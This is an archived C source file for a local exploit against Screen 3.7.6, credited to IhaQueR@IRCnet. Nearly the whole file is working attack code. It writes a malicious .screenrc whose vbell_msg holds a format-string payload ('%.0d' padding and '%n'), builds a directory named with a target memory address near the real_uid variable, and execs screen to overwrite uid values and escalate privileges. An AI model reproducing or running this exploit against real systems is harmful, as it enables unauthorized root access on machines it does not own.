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TUCoPS :: Linux :: Apps N-Z :: screen~1.c

Screen 3.7.6 local exploit




/**************************************************************** 
*                                                                                                                            * 
*  Screen 3.7.6 (and others) local exploit                                                                * 
*  by IhaQueR@IRCnet                                                                                         * 
*                                                                                                                            * 
****************************************************************/ 
  
  

#include <stdio.h> 
#include <sys/stat.h> 
#include <sys/types.h> 
#include <fcntl.h> 
#include <unistd.h> 
#include <string.h> 
  
  

#define TMPBUFSIZE 4096 

#define SCREENRC "/usr/home/paul/.screenrc" 
#define SCREEN "/usr/bin/screen" 

#define AREP 1 
#define BUFOFFSET 324 
#define PADDING 3 
#define WRITEADDR 0x807beb4 
  

//  some offsets grabbed from 3.7.6 
//  &real_uid, &real_gid, &eff_uid, &eff_gid own_uid 
//  0x807beb4 0x807ab1c 0x807aab0 0x807aab4 0x807bea4 
//  + 64  +64 
  
  

int main(int argc, char** argv) 
{ 
int i, l; 
FILE* fp; 
char buf[TMPBUFSIZE]; 
unsigned char adr[(AREP+2)*sizeof(unsigned)]; 
unsigned char* cp; 
unsigned a, *p; 
  

  if(argc != 2) { 
   printf("USAGE %s offset\n", argv[0]); 
   return 0; 
  } 

  l = atoi(argv[1]); 
  printf("creating magic string\n"); 

  bzero(buf, TMPBUFSIZE); 

/*  consume stack arguments */ 
  for(i=0; i<BUFOFFSET/4; i++) 
   strcat(buf, "%.0d"); 

/*  finally write to adress */ 
//  for(i=0;i<9; i++) 
   strcat(buf, "%n"); 

  if(fp = fopen(SCREENRC, "w")) { 
   fprintf(fp, "vbell on\n"); 
   fprintf(fp, "vbell_msg '%s'\n", buf); 
   fprintf(fp, "vbellwait 11111\n"); 
   fclose(fp); 
  } 
  else { 
   printf("ERROR: opening %s\n", SCREENRC); 
  } 

/*  now create the magic dir... */ 
  bzero(adr, (AREP+2)*sizeof(unsigned)); 
  cp = adr; 
  for(i=0; i<PADDING; i++) { 
   *cp = 'p'; 
   cp++; 
  } 

  p = (unsigned*) cp; 

  a = WRITEADDR; 
  a = a + l; 
  
  for(i=0; i<AREP; i++) { 
   *p = a; 
//   a += 4; 
   p++; 
  } 

  *p = 0; 

/* make dir and call screen */ 
  mkdir((char*)adr, 0x777); 
  chdir((char*)adr); 
  argv[1] = NULL; 
  execv(SCREEN, argv); 
} 



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